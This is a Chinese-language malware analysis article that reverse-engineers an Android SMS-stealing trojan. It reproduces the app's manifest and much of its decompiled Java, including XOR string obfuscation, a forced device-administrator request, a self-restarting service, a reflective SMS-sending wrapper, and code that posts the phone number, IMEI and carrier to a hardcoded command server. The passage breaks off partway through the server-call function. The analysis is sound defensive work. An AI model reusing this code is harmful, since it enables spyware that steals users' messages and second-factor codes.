对一款窃取Android短信的恶意软件的详细分析

2019-02-28 14:14:1312796人阅读

窃取Android短信的恶意软件

本文将要分析的恶意Android应用程序,样本可以在Virusbay上找到,也可以使用这个本地镜像。黑客窃取短信可以有各种各样的原因,有的攻击者会探知某个用户的隐私信息(定位信息、上网爱好甚至健康数据),从而找到攻击或诈骗的突破口;而有的攻击者干脆直接从受害者的手机上截获双因素身份验证(2FA)令牌,以假冒用户访问许多隐私帐户。

请注意,在当前上下文中给出的代码摘录的名称是可读的。如果可以直接从变量的类型或上下文派生变量的名称,则要对其进行重命名。

下面是本文要使用的样本的信息:

MD5: a1b5c184d447eaac1ed47bc5a0db4725

SHA-1: 98bb4315a5ee3f92a3275f08e45f7e35d9995cd2

SHA-256: c385020ef9e6e04ad08757324f78963378675a1bdb57a4de0fd525cffe7f2139

File type: application/java-archive

File size: 535.6 KB

Detection rate: 32 / 61

分析工具

用于将APK转换为Android Studio项目的常用工具是AndroidProjectCreator。在分析Android应用程序时,需要对或混淆的代码进行重构,使其变得可读。 AndroidProjectCreator结合了已知的开源工具(JD-CMD,JD-GUI的一部分,Fernflower,JAD-X,Dex2Jar和APKTool)以及Android Studio IDE的强大功能,使分析师能够利用这些优势。不过,AndroidProjectCreator工具并不总是能够将SMALI字节码转换为Java。因此,使用不同的反编译工具多次转换APK是一个不错的选择。

在开始分析之前检查所有类,因为变量的名称仍未改变。如果已经重构了一半的样本,那么由于新添加的代码由于没有嵌入到项目中,可能已经在之前的阶段中被修改过了。比如,如果一个类中的单个函数没有被正确反编译,而其余函数就会被重构。

private Context context; /**
* This is the renamed function, which was previously named "q".
*/public Context getContext() {
    return context;} /**
* This is the newly added function, which relies on the original instead of the refactored name.
*/public String x() {
    return q.LAUNCHER_APPS_SERVICE;}

此外,APKTool还被单独用于获取单个类的SMALI字节码,使用Android Studio对Java代码进行了分析和重构。

代码分析方法

在开始分析之前,关于样本内部的工作原理,研究人员也是知之甚少。为了避免在与研究目标无关的代码上浪费时间,必须尽可能地做出最好的提前预判。 AndroidManifest.xml文件是整个应用程序的信息描述文件,定义了应用程序中包含的Activity,Service,Content provider和BroadcastReceiver组件信息。每个应用程序在根目录下必须包含一个AndroidManifest.xml文件,且文件名不能修改。也就是说,AndroidManifest.xml提供有关所请求的权限、服务、意图接收工具和广播接收工具的信息。

关于代码,Main Activity中的onCreate函数是应用程序的运行起点。因此,从onCreate开始调查是有道理的。

之后,可以深入研究被调用的方法,这些方法很可能存在于多个类中。混淆的代码可能无法揭示代码的作用,这就是为什么需要深入挖掘的原因。深入挖掘后,我们才能了解每个函数的内容,才可以向上重构代码。

请注意,此方法的分析速度是程指数级增长的。在样本所知甚少的情况下,分析每个函数都需要花费很长一段时间。由于类在许多不同的位置被重用,因此第一次分析很慢。根据我自己的经验,两个完整工作日的分析通常足以重构整个样本。

反编译APK文件

首先,分析Manifest文件。之后,将分析和重构Java代码。请注意,此分析中不包含错误的操作,以避免混淆。另外,名为android的包中包含应用程序中使用的默认Android类。

Manifest文件

Manifest文件揭示了很多关于应用程序的信息,这就是它首先被分析的原因,下面就是完整的Manifest文件。

<?xml version="1.0" encoding="utf-8"?><manifest package="org.starsizew" platformBuildVersionCode="19" platformBuildVersionName="4.4.2-1456859"  xmlns:android="http://schemas.android.com/apk/res/android">     <uses-sdk android:minSdkVersion="9" />     <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.GET_TASKS" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.READ_LOGS" />
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:allowBackup="true">
        <activity android:label="@string/app_name" android:name="org.starsizew.MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service android:name="org.starsizew.MainService" android:enabled="true" android:exported="true" />
        <service android:name="org.starsizew.Ad" android:enabled="true" android:exported="true" />
        <receiver android:name="org.starsizew.MainServiceBroadcastReceiverWrapper" android:enabled="true" android:exported="false">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.SCREEN_ON" />
                <category android:name="android.intent.category.HOME" />
            </intent-filter>
        </receiver>
        <receiver android:name="org.starsizew.DeviceAdminReceiverWrapper" android:permission="android.permission.BIND_DEVICE_ADMIN">
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
            </intent-filter>
            <meta-data android:name="stopOnDeviceLock" android:value="false" />
            <meta-data android:name="android.app.device_admin" android:resource="@xml/policies" />
            <meta-data android:name="preventRestart" android:value="true" />
            <intent-filter>
                <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
                <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" />
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
            </intent-filter>
        </receiver>
        <receiver android:name="org.starsizew.Ma">
            <intent-filter android:priority="100">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
    </application></manifest>

在Manifest文件中可以看到,请求的权限是:

· CALL_PHONE

· SEND_SMS

· WRITE_SMS

· READ_SMS

· GET_TASKS

· ACCESS_NETWORK_STATE

· READ_PHONE_STATE

· RECEIVE_SMS

· WRITE_EXTERNAL_STORAGE

· INTERNET

· RECEIVE_BOOT_COMPLETED

· READ_LOGS

· READ_CONTACTS

有了这些信息,恶意软件可以有针对性的拨打手机号码,向特定手机号码发送短信。此外,它还可以接收和阅读短信。网络状态检查用于确定手机上是否有互联网,这是因为在线服务交互则需要用到互联网权限。

GET_TASKS和READ_LOGS都需要使用到升级权限,这意味着应用程序必须是固件的一部分,或者应该安装在具有特别权限的分区上。读取设备上其他应用程序的日志需要READ_LOGS权限,而获取最近执行的任务列表需要GET_TASKS权限。

应用程序的主要活动也在Manifest文件中定义,如下所示。

<activity android:label="@string/app_name" android:name="org.starsizew.MainActivity">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter></activity>

android:name字段包含类的路径,其中一个点代表一个新包。android:label=”@string/app_name”的值自动显示在Android Studio中,但也可以在res/values/strings.xml file文件中找到,如下所示。

<string name="app_name">Spy Mouse</string>

每当设备启动、屏幕打开或按下home按钮时,都会使用一个名为Ac的类。

<receiver android:name="org.starsizew.Ac" android:enabled="true" android:exported="false">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED" />
        <action android:name="android.intent.action.SCREEN_ON" />
        <category android:name="android.intent.category.HOME" />
    </intent-filter></receiver>

使用设备管理权限的类名为Aa,下面的摘录也是从Manifest文件中提取的。

<receiver android:name="org.starsizew.Aa" android:permission="android.permission.BIND_DEVICE_ADMIN">
    <intent-filter>
        <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
    </intent-filter>
    <meta-data android:name="stopOnDeviceLock" android:value="false" />
    <meta-data android:name="android.app.device_admin" android:resource="@xml/policies" />
    <meta-data android:name="preventRestart" android:value="true" />
    <intent-filter>
        <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
        <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" />
        <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
    </intent-filter></receiver>

Manifest文件的最后一部分用于捕获有关新接收的短信,而名为Ma的类则负责管理消息内容,而给定的优先级允许此应用程序比其他应用程序更早的处理新接收的短信,除非另一个应用程序的优先级更高。

<receiver android:name="org.starsizew.Ma">
    <intent-filter android:priority="100">
        <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    </intent-filter></receiver>

源代码分析

分析源代码时,除了需要分析人员的直觉之外,而且还要根据事实进行进一步验证。

MainActivity

MainActivity中的onCreate函数启动服务,设置重复警报并检查是否授予了管理权限。根据是否授予管理权限,执行函数q。反编译的源代码如下:

protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    setContentView(2130903040);
    Context applicationContext = getApplicationContext();
    applicationContext.startService(new Intent(applicationContext, Tb.class));
    ((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z));
    if (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) {
        q();
    }}

函数q

函数q启动了向管理员组添加新设备管理员的功能:

private void q() {
    Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
    intent.putExtra("android.app.extra.DEVICE_ADMIN"), new ComponentName(this, Aa.class));
    startActivityForResult(intent, 100);}

Aa类如下所示:

public class Aa extends DeviceAdminReceiver {
    public void onDisabled(Context context, Intent intent) {
        super.onDisabled(context, intent);
    }     public void onEnabled(Context context, Intent intent) {
        super.onEnabled(context, intent);
    }     public void onPasswordChanged(Context context, Intent intent) {
        super.onPasswordChanged(context, intent);
    }}

此类是DeviceAdminReceiver的包装工具,这就是它可以重构为DeviceAdminReceiverWrapper的原因。

字符串解密

在MainActivity类中,有一个名为q的全局变量,它是加密的。解密它可以使用同样名为q的函数来完成,这两个函数都需要不同的参数。代码如下:

private static final String[] q = new String[]{q(q("-]aK\u001f/Yx\n\u0010blU!!")), q(q("-Cu\u0017\u0011%I?\u0004\u000e<\u0003t\u001d\n>L?"))}; private static String q(char[] cArr) {
    int length = cArr.length;
    for (int i = 0; length > i; i++) {
        int i2;
        char c = cArr[i];
        switch (i % 5) {
            case 0:
                i2 = 76;
                break;
            case 1:
                i2 = 45;
                break;
            case 2:
                i2 = 17;
                break;
            case 3:
                i2 = 101;
                break;
            default:
                i2 = TransportMediator.KEYCODE_MEDIA_PLAY;
                break;
        }
        cArr[i] = (char) ((char) (i2 ^ c));
    }
    return new String(cArr).intern();} private static char[] q(String str) {
    char[] toCharArray = str.toCharArray();
    if (toCharArray.length < 2) {
        toCharArray[0] = (char) ((char) (toCharArray[0] ^ TransportMediator.KEYCODE_MEDIA_PLAY));
    }
    return toCharArray;}

请注意,TransportMediator.KEYCODE_MEDIA_PLAY的值等于126。在Android Studio中,可以使用CTRL并单击KEYCODE_MEDIA_PLAY枚举值来检查此值。

可以通过初始化变量并打印值来解密字符串数组,可以编译和执行Java代码的IDE来执行所需的操作。下面给出了字符串数组的解密值,从0开始,每一行都是数组中的不同索引。

app.action.ADD_
android.app.extra.

寻找参照(REFERENCES)

在onCreate函数中,某些函数需要字符串作为参数。 DevicePolicyManager的函数getSystemService需要一个类似于所请求服务名称的字符串。

protected void onCreate(Bundle bundle){
    //[omitted]
    applicationContext.startService(new Intent(applicationContext, Tb.class));
    ((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z));
    if (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) {
        q();
    }}

在检查名为o的类时,有许多公共字符串被加密。完整的类如下所示:

package org.starsizew; public final class o {
    public static String E = new StringBuilder(q(q("}5\u0005"))).append(f).append(q(q("C0"))).toString();
    public static String Q = (b + y + o + y + q(q("C1\u00031hL")) + y + s);
    public static String R = q(q("r\u001d$\f"));
    public static String T = q(q("V;\u001a="));
    public static String W = q(q("C>\u0016*j"));
    public static int Y;
    public static String a = (b + q(q("\f3\u0007()G*\u0003*f")));
    public static String b = q(q("C<\u0013*hK6"));
    public static String c = q(q("R:\u00186b"));
    public static String d = q(q("V7\u001b"));
    public static String e = new StringBuilder(q(q("K<"))).append(f).append(q(q("Q&"))).toString();
    public static String f = "";
    public static String g = q(q("\u001bbG"));
    public static String h = q(q("Q?\u0004"));
    public static String i = (b + y + o + y + q(q("C1\u00031hL|\u0002+tF|\u00186")));
    public static String j = new StringBuilder(String.valueOf(h.toUpperCase())).append(q(q("}\u00002\u001bBk\u00042\u001c"))).toString();
    public static String k = q(q("C0\u0018*s"));
    public static String l = q(q("` \u00189cA3\u0004,"));
    public static String m = q(q("e\u0017#"));
    public static String n = (p + q(q("}\"\u00184nA+")));
    public static String o = q(q("K<\u0003=iV"));
    public static String p = q(q("F7\u00011dG"));
    public static String q = (b + q(q("\f\"\u00057qK6\u0012*)v7\u001b=wJ=\u0019!)")) + j);
    public static String r = new StringBuilder(q(q("M<"))).append(f).append(q(q("G\r"))).toString();
    public static String s = q(q("a\u0013;\u0014"));
    public static String t = new StringBuilder(q(q("M\"\u0012"))).append(f).append(q(q("P3"))).append(f).append(q(q("V=\u0005"))).toString();
    public static String u = (T + q(q("}\"\u0012*")) + f + q(q("G:\u0001")));
    public static String v = new StringBuilder(String.valueOf(p.toUpperCase())).append(q(q("}\u00133\u0015Nl"))).toString();
    public static String w = q(q("v7\u000f,JG!\u00049`G"));
    public static int x = 1;
    public static String y = ".";
    public static int z = 0;     private static String q(char[] cArr) {
        int length = cArr.length;
        for (int i = 0; length > i; i++) {
            int i2;
            char c = cArr[i];
            switch (i % 5) {
                case 0:
                    i2 = 34;
                    break;
                case 1:
                    i2 = 82;
                    break;
                case 2:
                    i2 = 119;
                    break;
                case 3:
                    i2 = 88;
                    break;
                default:
                    i2 = 7;
                    break;
            }
            cArr[i] = (char) ((char) (i2 ^ c));
        }
        return new String(cArr).intern();
    }     private static char[] q(String str) {
        char[] toCharArray = str.toCharArray();
        if (toCharArray.length < 2) {
            toCharArray[0] = (char) ((char) (toCharArray[0] ^ 7));
        }
        return toCharArray;
    }}

在使用两个给定的解密函数(均为q)解密所有字符串并根据输出重构名称之后,变量更有意义,如下所示。

package org.starsizew; public final class StringDatabase {
    public static String _grab = new StringBuilder(decryptCharArray(decryptString("}5\u0005"))).append(emptyString).append(decryptCharArray(decryptString("C0"))).toString();
    public static String AndroidIntentActionCall = (android + dot + intent + dot + decryptCharArray(decryptString("C1\u00031hL")) + dot + CALL);
    public static String POST = decryptCharArray(decryptString("r\u001d$\f"));
    public static String time = decryptCharArray(decryptString("V;\u001a="));
    public static String alarm = decryptCharArray(decryptString("C>\u0016*j"));
    public static int integerZero;
    public static String AndroidAppExtra = (android + decryptCharArray(decryptString("\f3\u0007()G*\u0003*f")));
    public static String android = decryptCharArray(decryptString("C<\u0013*hK6"));
    public static String phone = decryptCharArray(decryptString("R:\u00186b"));
    public static String tel = decryptCharArray(decryptString("V7\u001b"));
    public static String inst = new StringBuilder(decryptCharArray(decryptString("K<"))).append(emptyString).append(decryptCharArray(decryptString("Q&"))).toString();
    public static String emptyString = "";
    public static String integer900 = decryptCharArray(decryptString("\u001bbG"));
    public static String sms = decryptCharArray(decryptString("Q?\u0004"));
    public static String AndroidIntentActionUssdOn = (android + dot + intent + dot + decryptCharArray(decryptString("C1\u00031hL|\u0002+tF|\u00186")));
    public static String SMS_RECEIVED = new StringBuilder(String.valueOf(sms.toUpperCase())).append(decryptCharArray(decryptString("}\u00002\u001bBk\u00042\u001c"))).toString();
    public static String abort = decryptCharArray(decryptString("C0\u0018*s"));
    public static String Broadcast = decryptCharArray(decryptString("` \u00189cA3\u0004,"));
    public static String GET = decryptCharArray(decryptString("e\u0017#"));
    public static String device_policy = (device + decryptCharArray(decryptString("}\"\u00184nA+")));
    public static String intent = decryptCharArray(decryptString("K<\u0003=iV"));
    public static String device = decryptCharArray(decryptString("F7\u00011dG"));
    public static String AndroidProviderTelephonySMS_RECEIVED = (android + decryptCharArray(decryptString("\f\"\u00057qK6\u0012*)v7\u001b=wJ=\u0019!)")) + SMS_RECEIVED);
    public static String one_ = new StringBuilder(decryptCharArray(decryptString("M<"))).append(emptyString).append(decryptCharArray(decryptString("G\r"))).toString();
    public static String CALL = decryptCharArray(decryptString("a\u0013;\u0014"));
    public static String operator = new StringBuilder(decryptCharArray(decryptString("M\"\u0012"))).append(emptyString).append(decryptCharArray(decryptString("P3"))).append(emptyString).append(decryptCharArray(decryptString("V=\u0005"))).toString();
    public static String time_perehv = (time + decryptCharArray(decryptString("}\"\u0012*")) + emptyString + decryptCharArray(decryptString("G:\u0001")));
    public static String DEVICE_ADMIN = new StringBuilder(String.valueOf(device.toUpperCase())).append(decryptCharArray(decryptString("}\u00133\u0015Nl"))).toString();
    public static String TextMessage = decryptCharArray(decryptString("v7\u000f,JG!\u00049`G"));
    public static int integerTrue = 1;
    public static String dot = ".";
    public static int integerFalse = 0;     //Decryption functions are omitted for brevity}

主要服务

onCreate函数中使用的下一个类称为Tb,这个类是作为服务启动的,如下所示。

Context applicationContext = getApplicationContext();applicationContext.startService(new Intent(applicationContext, Tb.class));

下面将解释服务中的所有三个函数所代表的功能,注意,与前面描述的类一样,使用与字符串相同的加密技术。从这个类开始,我将不会重复提及解密方法,因为每个类中的解密方法都是相同的。

onCreate

OnCreate是Android中的一个特别的函数,用来“表示一个窗口正在生成”。其不产生窗口,只是在窗口显示前设置窗口的属性如风格、位置颜色等。

onCreate函数包含一个名为q的布尔值和一个名为w的SharedPreferences对象,并使用类u启动一个新的线程。代码如下。

public void onCreate() {
    super.onCreate();
    q = true;
    this.w = getSharedPreferences(getApplicationContext().getString(2131099651), StringDatabase.integerFalse);
    new Thread(new u(this)).start();}

在onDestroy函数中也使用了布尔q,它被设置为false而不是true。因此,此布尔值用于确定服务是否正在运行。因此,它可以使用isActive名称重构它。

在res/public.xml和res/strings.xml中可以找到十进制等于2131099651的字符串。注意,代码中的十进制值是用XML文件中的十六进制表示法编写的。当转换为基数16(十六进制)时,该值等于0x7F060003。XML文件中的值如下所示:

[public.xml]<public type="string" name="PREFS_NAME" i7F060003d="0x7f060003" /> 
[strings.xml]<string name="PREFS_NAME">AppPrefs</string>

如果可以加载配置文件,则证明恶意程序之前就已经处于活动状态,并且可以加载最新的已知配置。

稍后,我将分析用于启动新线程的类。

onBind

此函数未在主要服务中实现,因为它只返回了一个异常。代码如下。

public IBinder onBind(Intent intent) {
    throw new UnsupportedOperationException(stringError);}

请注意,字符串stringError在解密时会包含字符串错误,因此才这样命名。

onDestroy

此时布尔isActive函数已经有了新名称,因为它在onCreate函数的分析过程中已被更改。它的目的是用于启动名为Tb的服务。这与目前正在分析的服务相同,如果服务关闭,它会自动重启。该函数的代码所示:

public void onDestroy() {
    super.onDestroy();
    isActive = false;
    Intent intent = new Intent(this, Tb.class);
    intent.setFlags(268435456); 
    startService(intent);}

请注意,268435456等于0x10000000,这是FLAG_ACTIVITY_NEW_TASK的常量值,可以在Android开发者网站上看到。根据这个值,服务将作为应用程序中的新任务启动。

主要服务

该服务可以重命名为MainService,因为它是恶意软件中的主要服务。

U:新线程

下面给出了在MainService类的onCreate函数中创建的新线程:

package org.starsizew; final class u implements Runnable {
    final Mainservice mainService; 
    u(Mainservice mainService) {
        this.mainService = mainService;
    }     public final void run() {
        this.mainService.r.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse);
    }}


乍一看,Android Studio生成了一个错误。这是由于一个反编译错误,其中MainService类中的两个字段设置为private,而它们应该是公共的或受保护的。在下面的代码中,给出了两个已公开的字段。

public Handler r = new Handler();public Runnable t = new w(this);

新的类u现在更具可读性,如下所示。

package org.starsizew; final class u implements Runnable {
    final Mainservice mainService; 
    u(Mainservice mainService) {
        this.mainService = mainService;
    }     public final void run() {
        this.mainService.handler.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse);
    }}

名为r的处理程序可以重构为handler,由于尚未知道w类的内容,因此无法重命名runnable。要知道u类的内容,我们应该知道w类的内容。请注意,StringDatabase.integerFalse等于0时,处理程序启动runnable的延迟就是0毫秒。

w类

w类是可运行的,这意味着它是作为线程启动的。run方法在线程启动时启动,除了解密函数之外,该类中没有其他任何内容,类如下所示。

public final void run() {
    boolean z = MainService.e;
    if (!this.mainService.sharedPreferences.contains(StringDatabase.one_ + StringDatabase.inst)) {
        Editor edit = this.mainService.sharedPreferences.edit();
        edit.putInt(StringDatabase.one_ + StringDatabase.inst, StringDatabase.integerTrue);
        edit.putString(w[0], this.mainService.getApplicationContext().getString(2131099653));
        edit.putString(StringDatabase.inst, "1");
        edit.putLong(StringDatabase.time_perehv, 100);
        edit.putString(w[3], new StringBuilder(String.valueOf(this.mainService.getApplicationContext().getString(2131099652))).append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString());
        edit.putString(new StringBuilder(w[4]).append(StringDatabase.emptyString).append(w[1]).toString(), a.q(this.mainService.getApplicationContext()).getDeviceId());
        edit.apply();
    }
    List arrayList = new ArrayList();
    if (this.mainService.sharedPreferences.getString(StringDatabase.inst, null) == "1") {
        new i(this.mainService.getApplicationContext(), arrayList, StringDatabase.inst + w[5]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)});
    } else {
        new i(this.mainService.getApplicationContext(), arrayList, w[2]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)});
    }
    this.mainService.handler.postDelayed(this, (long) Constants.int50005);
    if (z) {
        StringDatabase.integerZero++;
    }}

稍后将分析函数a所在的类q,函数的上下文现在已经提供了足够的上下文。

这个类可以作为一个例子,说明替换名为w的字符串数组中的字符串是多么重要。清理后的版本如下:

public final void run() {
    boolean z = MainService.e;
    if (!this.mainService.sharedPreferences.contains("one_inst")) {
        Editor edit = this.mainService.sharedPreferences.edit();
        edit.putInt("one_inst1");
        edit.putString("url", "http://37.1.207.31/api/?id=7");
        edit.putString("inst", "1");
        edit.putLong("time_perehv", 100);
        edit.putString("id", new StringBuilder("00122".append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString());
        edit.putString("imei", a.q(this.mainService.getApplicationContext()).getDeviceId());
        edit.apply();
    }
    List arrayList = new ArrayList();
    if (this.mainService.sharedPreferences.getString("inst", null) == "1") {
        new i(this.mainService.getApplicationContext(), arrayList, "install").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)});
    } else {
        new i(this.mainService.getApplicationContext(), arrayList, "info").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)});
    }
    this.mainService.handler.postDelayed(this, 50005);
    if (z) {
        StringDatabase.integerZero++;
    }}

首先,检查共享首选项文件是否包含其中包含字符串one_inst的密钥。如果为false,则使用C&C url,安装boolean,time_perehv,设备ID和IMEI号来实例化首选项文件。

如果共享首选项文件包含值one_inst,或者在设置共享首选项文件之后,将使用完全相同的参数调用类i,但只有一个参数。第三个参数是install或info。在分析i类之前,将对a类进行分析。

a类

这个类包含两个函数,它们都被命名为q。注意,为了讲述方便,我省略了字符串数组及其解密方法。

第一个函数需要一个context对象作为参数:q(context context),这个函数的功能非常简单,如下所示。

static TelephonyManager q(Context context) {
    return (TelephonyManager) context.getSystemService(StringDatabase.phone);}

除了请求系统服务手机,还可以查看类型转换,它等于TelephonyManager。快速重构使代码更具可读性,如下所示。

static TelephonyManager getTelephonyManager(Context context) {
    return (TelephonyManager) context.getSystemService(StringDatabase.phone);}

第二个函数需要两个字符串作为参数:q(String str, String str2),此外,代码使用了反射调用方法。下面给出的代码中,字符串数组中的解密字符串已经被替换。

public static boolean q(String str, String str2) {
    try {
        Class cls = Class.forName(StringDatabase.android + ".telephony.SmsManager");
        Object invoke = cls.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]);
        Method method = cls.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class});
        Object[] objArr = new Object[5];
        objArr[0] = str;
        objArr[2] = str2;
        method.invoke(invoke, objArr);
    } catch (Exception e) {
    }
    return false;}

调用的函数名为sendTextMessage,来自android.telephony.SmsManager类。快速浏览SmsManager类的Android Developers页面可提供以下信息:

public void sendTextMessage (String destinationAddress, 
                String scAddress, 
                String text, 
                PendingIntent sentIntent, 
                PendingIntent deliveryIntent)

变量str和str2是调用方法的第一个和第三个参数。第一个参数是destinationAddress,第三个参数是SMS的文本。这个函数用给定的对象将文本消息发送到给定数值。重构方法如下所示:

public static boolean sendSms(String destinationAddress, String text) {
    try {
        Class SmsManager = Class.forName(StringDatabase.android + ".telephony.SmsManager");
        Object methodGetDefaultSmsManager = SmsManager.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]);
        Method methodSendTextMessage = SmsManager.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class});
        Object[] objectArray = new Object[5];
        objectArray[0] = destinationAddress;
        objectArray[2] = text;
        methodSendTextMessage.invoke(methodGetDefaultSmsManager, objectArray);
    } catch (Exception e) {
    }
    return false;}

这个类封装了TelephonyManager,这就是为什么它可以重命名为TelephonyManagerWrapper的原因。

i类

此类是AsyncTask,意味着它在应用程序的后台运行。 AsyncTask生命周期可以分为四个阶段:

1.onPreExecute:它准备稍后使用的类中的任何内容;

2.doInBackground:这是任务的主要部分;

3.onProgressUpdate:用于更新UI,这种方法经常被驻留在恶意软件中,因为任务需要避开检测;

4.onPostExecute:在doInBackground函数完成后执行;

doInBackground方法被正确反编译后,则onPostExecute方法无法使用JAD-X,JD-CMD,Fernflower,CFR或Procyon使用dex2jar制作的JAR进行反编译。使用enjarify生成JAR不会产生不同的结果,稍后我将详细介绍onPostExecute函数。

doInBackground

doInBackground函数如下所示,为了完全理解它的作用,需要首先分析t类。

protected final Object doInBackground(Object[] objArr) {
    Object obj = null;
    boolean z = true;
    boolean z2 = MainService.e;
    String str = ((String[]) objArr)[StringDatabase.integerFalse];
    t tVar = new t();
    this.e.add(new BasicNameValuePair("method", this.r));
    this.e.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", null)));
    if (this.r.startsWith("install")) {
        String str2 = "POST";
        this.e.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName()));
        this.e.add(new BasicNameValuePair("model", Build.MODEL));
        this.e.add(new BasicNameValuePair("os", VERSION.RELEASE));
        this.e.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number()));
        this.e.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId()));
        this.e.add(new BasicNameValuePair("version", s.w));
        this.e.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry()));
        obj = t.q(str, "POST", this.e);
    } else if (this.r.startsWith("info")) {
        obj = t.q(str, "POST", this.e);
    } else if (this.r.startsWith("sms")) {
        obj = t.q(str, "POST", this.e);
    }
    if (StringDatabase.integerZero != 0) {
        if (z2) {
            z = false;
        }
        MainService.e = z;
    }
    return obj;}

在分析了t类之后,我将重构doInBackground函数,并对该类进行完整的分析。

t类

类t中的函数q如下所示,请注意,一些变量已经根据其类型进行了重命名。

public static JSONObject q(String url, String var1, List var2) {
    boolean var10001;
    label66:
    {
        DefaultHttpClient defaultHttpClient;
        try {
            if (var1 == "POST") {
                defaultHttpClient = new DefaultHttpClient();
                HttpPost httpPost = new HttpPost(url);
                UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(var2, "UTF-8");
                httpPost.setEntity(urlEncodedFormEntity);
                inputStream = defaultHttpClient.execute(httpPost).getEntity().getContent();
                break label66;
            }
        } catch (Throwable var12) {
            var10001 = false;
            break label66;
        }         try {
            if (var1 == "GET") {
                defaultHttpClient = new DefaultHttpClient();
                String formattedUrlUtils = URLEncodedUtils.format(var2, "utf-8");
                StringBuilder var3 = new StringBuilder(String.valueOf(url));
                HttpGet httpGet = new HttpGet(var3.append("?").append(formattedUrlUtils).toString());
                inputStream = defaultHttpClient.execute(httpGet).getEntity().getContent();
            }
        } catch (Throwable var11) {
            var10001 = false;
        }
    } 
    label55:
    {
        BufferedReader var14;
        StringBuilder var20;
        try {
            InputStreamReader var18 = new InputStreamReader(inputStream, "iso-8859-1");
            var14 = new BufferedReader(var18, 8);
            var20 = new StringBuilder();
        } catch (Throwable var10) {
            var10001 = false;
            break label55;
        }         while (true) {
            try {
                var1 = var14.readLine();
            } catch (Throwable var8) {
                var10001 = false;
                break;
            }             if (var1 == null) {
                try {
                    inputStream.close();
                    w = var20.toString();
                    break;
                } catch (Throwable var7) {
                    Throwable var15 = var7;                     try {
                        throw var15;
                    } catch (Throwable var6) {
                        var10001 = false;
                        break;
                    }
                }
            }             try {
                var20.append(var1).append("\n");
            } catch (Throwable var9) {
                var10001 = false;
                break;
            }
        }
    }     try {
        JSONObject var16 = new JSONObject(w);
        jsonObject = var16;
    } catch (Throwable var5) {
    }     return jsonObject;}

这个函数有三个参数,第一个是URL,可以在HttpPost构造函数中看到(它需要一个URL)。然后使用编码参数附加URL,以避免接收端出错。提供的方法是可以从if语句派生的第二个参数,然后比较给定的字符串是否等于GET或POST。第三个参数被编码并附加到URL中。服务器的响应以JSONObject返回,重构方法如下所示。

public static JSONObject callC2(String url, String httpMethod, List parameters) {
    boolean var10001;
    label66:
    {
        DefaultHttpClient httpClient;
        try {
            if (httpMethod == "POST") {
                httpClient = new DefaultHttpClient();
                HttpPost httpPost = new HttpPost(url);
                UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(parameters, "UTF-8");
                httpPost.setEntity(urlEncodedFormEntity);
                inputStream = httpClient.execute(httpPost).getEntity().getContent();
                break label66;
            }
        } catch (Throwable throwable) {
            var10001 = false;
            break label66;
        }         try {
            if (httpMethod == "GET") {
